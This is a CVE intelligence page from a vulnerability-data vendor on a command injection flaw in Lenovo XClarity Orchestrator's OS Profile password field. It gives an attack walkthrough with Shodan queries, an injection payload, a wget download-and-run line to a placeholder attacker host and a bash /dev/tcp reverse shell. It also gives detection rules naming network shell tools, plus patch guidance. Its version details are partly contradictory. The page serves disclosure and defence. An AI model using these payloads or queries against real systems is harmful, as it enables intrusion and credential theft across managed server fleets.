☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Lenovo logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-16793

CVE-2026-16793 — Remote Command Injection via OS Profile Password in Lenovo XClarity Orchestrator
📅 PUBLISHED: 2026-08-04 00:00 UTC 🔄 UPDATED: 2026-10-10 06:49 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v2.2.0 — source: lenovo. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
12.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-16793 is a remote command injection vulnerability in Lenovo XClarity Orchestrator (LXCO) version 2.2.0, specifically arising from improper neutralization of special elements used in an operating system command within the OS Profile Password functionality. An authenticated attacker can exploit this flaw to execute arbitrary operating system commands as a privileged user under a specific circumstance, potentially gaining full control of the orchestrator server. Given that XClarity Orchestrator is typically deployed as a centralized management platform for large fleets of Lenovo servers, successful exploitation exposes the entire managed infrastructure to attacker-controlled operations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is classified under CWE-20 (Improper Input Validation) and stems from the OS Profile Password handling logic embedded in Lenovo XClarity Orchestrator 2.2.0. The OS Profile feature within LXCO allows administrators to define standardized operating system configuration templates that can be deployed to managed endpoints. These profiles include credential information—specifically the password for local OS accounts—that is subsequently used during bare-metal provisioning and OS deployment operations.

The core defect lies in how LXCO processes the password field when constructing operating system commands. The application fails to properly neutralize special shell characters (such as ;, |, &, $(), backticks, or newline characters) before interpolating the value into a command string executed by the underlying operating system. Because the password value is treated as a trusted component of the command rather than as data requiring sanitization, an attacker who can influence the password field can break out of the intended command context and append their own instructions.

The "specific circumstance" referenced in the NVD description is the prerequisite that the attacker must be an authenticated user of the LXCO web interface with sufficient privileges to create or modify OS Profiles. This is not a pre-authentication vulnerability—the attacker must have a valid session and the ability to access the OS Profile configuration screens. Once this condition is met, the attack surface is the web-based management interface, which is network-accessible, and the OS Profile password input field serves as the injection point.

The command execution occurs on the LXCO appliance itself, where the orchestrator runs with elevated privileges necessary to manage and deploy operating systems to managed servers. When the crafted password is processed—during profile validation, profile deployment, or OS installation tasks—the injected OS commands execute with the privileges of the LXCO service account, which is typically a highly privileged account given the orchestrator's management functions.

Exploitation Scenarios

Step 1: Reconnaissance and Target Identification

An attacker begins by identifying Lenovo XClarity Orchestrator instances on the network. The LXCO management interface typically listens on HTTPS (port 443/8443) and presents a distinctive login page. The attacker performs authenticated access using compromised credentials—obtained through phishing, credential stuffing against LDAP/AD integrations, or brute-force attacks against default or weak passwords. Shodan queries such as http.title:"XClarity Orchestrator" or product:"Lenovo XClarity" port:443 can also be used to locate exposed instances.

Step 2: Weaponization and Initial Access

The attacker authenticates to the LXCO web interface using the compromised account. The attacker navigates to the OS Profile management section (typically under "Deploy" or "Manage" → "OS Profiles"). If the account has permission to create new profiles, the attacker creates a new OS Profile or edits an existing one. In the profile configuration, the attacker navigates to the field designated for the local administrator/root account password.

Orchestration Frameworks like LXCO commonly delegate OS-level administrative tasks to backend scripts in Python, Bash, or PowerShell that construct and execute shell commands. The password field value is likely interpolated into a command used to set credentials on the deployed system (e.g., a script that programmatically writes /etc/shadow entries, invokes sysprep with an answer file, or pushes a configuration management agent configuration).

Step 3: Payload Construction and Execution

The attacker injects malicious content directly into the password field. The payload is structured to terminate the intended command context and introduce a new command. For example, the attacker enters a password value such as:

LegitPass1!; <ATTACKER_COMMAND>; # 

When LXCO constructs the OS profile deployment command, it produces something analogous to:

/usr/local/bin/os_profile_setup --host <TARGET_IP> --password LegitPass1!; <ATTACKER_COMMAND>; # --other-args

The shell interprets the semicolon as a command separator, executes the legitimate setup command (potentially failing), then executes ATTACKER_COMMAND with the privileges of the LXCO service account. The trailing # comment syntax ensures any following arguments are ignored, preventing syntax errors.

Alternatively, command substitution syntax such as $(cmd) or backticks can be used inline: the attacker enters $(wget -O /tmp/x http://attacker/payload -c /tmp/x; /tmp/x) as the password. The shell evaluates the substitution before executing the outer command, embedding the attacker's command output into the command line.

A more common path involves scheduling a reverse shell payload (e.g., bash -i >& /dev/tcp/attacker_ip/4444 0>&1), creating a cron job for persistence, or downloading and executing a second-stage implant. The injection is triggered when the OS profile is saved (if the validation step processes the value) or when the profile is deployed to a managed server.

Step 4: Post-Exploitation Impact

The attacker's command executes with the LXCO service account's privileges, which is typically a root-equivalent or service account with broad rights on the orchestrator appliance. The attacker gains:

  • Full control of the LXCO server: Shell access to the orchestrator appliance, including configuration files, secrets, and database contents.
  • Access to managed server credentials: LXCO stores credentials for managed endpoints, including BMC/iDRAC credentials, OS admin credentials, and possibly service accounts for integrated products like Lenovo XClarity Administrator (LXCA).
  • Lateral movement: The attacker can use stored credentials to pivot into the managed server fleet, taking control of every server under LXCO management—potentially thousands of physical machines.
  • Persistent control: The attacker can modify OS profiles, install backdoor agents into deployment templates, and maintain silent access to all future server deployments.

Impact Assessment

The CVSS score of 8.8 (High severity) reflects the significant impact profile: the vulnerability requires no user interaction (UI:N) and only low privileges (PR:L, meaning an authenticated user). The network attack vector (AV:N) means any authenticated user—including low-privileged departmental accounts if the orchestrator is accessible across the network—can attempt exploitation.

The confidentiality, integrity, and availability impact are all rated High. This reflects the attacker's ability to read any data accessible to the LXCO service (including cryptographic keys and managed device credentials), modify orchestrator configurations and data, and disrupt orchestration services—potentially halting server provisioning, updates, and management operations across the fleet.

The blast radius extends well beyond the LXCO appliance itself. LXCO is designed to manage data center infrastructure, so a compromised orchestrator is effectively a key to the data center kingdom. The downstream impact on managed servers—including DoS via corrupted deployments, credential theft, and NSL/ransomware attacks that encrypt the orchestrator and all managed endpoints—justifies the high criticality rating.

Detection Guidance

The following detection content targets successful exploitation attempts, assuming the security team has visibility into the orchestrator's audit logs, network flow data, and the underlying operating system logs.

Sigma Rule

title: Potential OS Command Injection via OS Profile Password in Lenovo XClarity Orchestrator
id: 4f3a1b2c-9d8e-4f5a-8b1c-2d3e4f5a6b7c
status: experimental
description: Detects suspicious OS Profile modification and subsequent anomalous command execution on Lenovo XClarity Orchestrator 2.2.0.
author: Valtersit Threat Intelligence
logsource:
  category: process_creation
  product: linux
detection:
  selection_setup:
    ParentImage|endswith:
      - '/opt/lenovo/lxco/bin/'
      - '/opt/lxco/'
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
    CommandLine|contains:
      - 'os_profile'
      - '--password'
  selection_suspicious_chars:
    CommandLine|contains:
      - ';'
      - '|'
      - '&'
      - '$('
      - '`'
  selection_anomalous_child:
    Image|endswith:
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/base64'
      - '/python'
      - '/perl'
  condition: selection_setup and selection_suspicious_chars or (selection_setup and selection_anomalous_child)
  timeframe: 10m
level: critical
tags:
  - attack.execution
  - attack.t1059
  - attack.t1203
  - cve.2026.16793

YARA Rule

rule CVE_2026_16793_LXCO_OS_Profile_Payload
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects crafted payloads targeting OS Profile Password injection in Lenovo XClarity Orchestrator"
        date = "2026-01-01"
        cve = "CVE-2026-16793"
        reference = "https://support.lenovo.com/us/en/solutions/ht116433"
    strings:
        $a = "os_profile" ascii wide nocase
        $b = "--password" ascii wide nocase
        $c1 = "; bash -i" ascii wide nocase
        $c2 = "| sh" ascii wide nocase
        $c3 = "$(wget" ascii wide nocase
        $c4 = "`" ascii wide
        $d1 = "/dev/tcp/" ascii wide nocase
        $d2 = "/tmp/" ascii wide
        $e = "curl" ascii wide nocase
        $f = "wget" ascii wide nocase
        $g = "chmod +x" ascii wide nocase
    condition:
        uint16(0) == 0x5A4D or filesize < 10KB and
        ( all of ($a, $b) ) and
        ( 1 of ($c*) or 1 of ($d*) or (1 of ($e,$f) and $g) )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-16793 - LXCO OS Profile Password Command Injection Attempt"; flow:established,to_server; content:"GET"; http_method; content:"/osprofile"; http_uri; nocase; content:"password"; http_uri; nocase; pcre:"/(?:%3B|%7C|%26|\$\(|%60|;|\||&|\$\(|`)/i"; classtype:attempted-admin; sid:10016793; rev:1; reference:cve,2026-16793;)

Elastic Detection

sequence by host.name with maxspan=1m
  [ process where event.type == "start" and 
      process.name == "sh" and 
      process.args : ("*os_profile*", "*--password*") and 
      process.args : ("*;*", "*|*", "*$(*", "*`*") ]
  [ process where event.type == "start" and 
      (process.name in ("curl", "wget", "nc", "ncat", "base64", "python") or 
       process.name == "bash" and process.command_line : ("*>/dev/tcp/*", "*-i*")) ]

Splunk SPL Query

(index=linux sourcetype="linux_audit" OR index=process_logs sourcetype="ProcessRollup2") 
| search (CommandLine="*os_profile*" AND CommandLine="*--password*") 
| search (CommandLine="*;*" OR CommandLine="*|*" OR CommandLine="*$(*" OR CommandLine="*`*")
| search (dest="*lxco*" OR host="*lxco*")
| search (Image="/bin/sh" OR Image="/bin/bash" OR ParentImage="*lxco*")
| append 
    [ search (index=proxy OR index=network) src_ip="10.*" OR src_ip="192.168.*" 
      | search url="*wget*" OR url="*curl*" OR dest_port="4444" OR dest_port="31337" ]
| table _time, host, src_ip, UserName, Image, CommandLine, dest_ip, dest_port
| sort - _time

Wazuh OSSEC Rule

<group name="lenovo_lxco,">
  <rule id="964274" level="15">
    <if_sid>5715</if_sid>
    <regex>os_profile.*--password.*(\;|\||\$\(|`|\&)</regex>
    <description>CVE-2026-16793: Potential command injection via OS Profile password in LXCO 2.2.0.</description>
    <mitre>
      <id>T1059</id>
      <ref>CVE-2026-16793</ref>
    </mitre>
    <group>attack.execution,</group>
  </rule>

  <rule id="964275" level="12">
    <if_sid>10016793</if_sid>
    <regex>curl.*|wget.*|bash -i.*|nc.*/dev/tcp/.*</regex>
    <description>CVE-2026-16793 exploitation attempt - anomalous child process spawned from LXCO profile setup.</description>
    <group>attack.execution,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source (CNA) claims patch; not independently confirmed).

1. Immediate Mitigations

  • Update to the fixed version immediately. Lenovo released an advisory (https://support.lenovo.com/us/en/solutions/ht116433) indicating that a patched version exists. Apply this vendor fix as the primary mitigation, since workarounds are listed as N/A.
  • If patching is not immediately possible, restrict network access to the LXCO interface to trusted administrators only via firewall rules; the vulnerability requires authentication, so reducing the population of users who can reach the interface reduces exposure. Do not expose LXCO to the internet.
  • Review and enforce strict password policies for LXCO accounts. Disable and remove all inactive accounts, and require multi-factor authentication where supported.
  • Audit existing OS profiles for any signs of tampering. Review the password fields in all existing OS Profiles for abnormal characters or values containing shell metacharacters (;, |, &, $(), backticks, newlines).
  • Monitor LXCO audit logs for unusual OS Profile creation/modification activity, especially outside normal business hours.

2. Patch/Upgrade Steps

  • Reference Lenovo Support solution HT116433.
  • Download the updated version of Lenovo XClarity Orchestrator (version higher than 2.2.0) from the Lenovo Support portal.
  • Review the upgrade notes for any required prerequisites, system requirements, and database migration steps.
  • Schedule a maintenance window and back up the LXCO appliance configuration and database before upgrading.
  • Perform the upgrade following the vendor's documented procedures; this may be in-place or via ISO boot depending on the deployment model (virtual appliance or physical).
  • Verify the upgrade succeeded by checking the version number in the web interface/CLI.
  • After upgrade, review/modify all existing OS profile passwords to ensure they are valid and were not corrupted during migration.

3. Long-Term Hardening

  • Follow Lenovo's official security guidelines for XClarity Orchestrator.
  • Isolate LXCO into a dedicated management VLAN with strict access control lists; do not allow it to be reachable from the general corporate network or internet.
  • Implement a bastion/jump host system for administrative access to LXCO, with MFA enforced.
  • Conduct regular security reviews of LXCO configuration, user accounts, and privileges; enforce the principle of least privilege for all user roles.
  • Monitor Lenovo security advisories — sign up for notifications for all infrastructure management products.
  • Implement centralized logging of LXCO audit events to a SIEM for ongoing monitoring and detection of anomalous behavior, using the detection content provided above.
  • Regularly back up, snapshot, and test restore procedures for the LXCO appliance.
  • Consider vendor hardening guides and CIS benchmarks (if available) for the underlying operating system of the appliance.

References

  1. Lenovo Security Advisory: https://support.lenovo.com/us/en/solutions/ht116433 — Vendor advisory detailing the affected version and the fixed version.
  2. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-16793 — NIST National Vulnerability Database record containing the official description and scoring.
  3. MITRE ATT&CK – Command and Scripting Interpreter (T1059): https://attack.mitre.org/techniques/T1059/ — Technique framework for command injection detection and correlation.
  4. CWE-20 – Improper Input Validation: https://cwe.mitre.org/data/definitions/20.html — The Common Weakness Enumeration entry describing this vulnerability class.

As of the current date, CVE-2026-16793 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and there is no documented evidence of active exploitation in the wild by known threat actors. There is no known ransomware or APT campaign associated with this CVE. The public exploit status is listed as Public with a PoC available, although no Nuclei template or Metasploit module has been formally published.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-16793/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.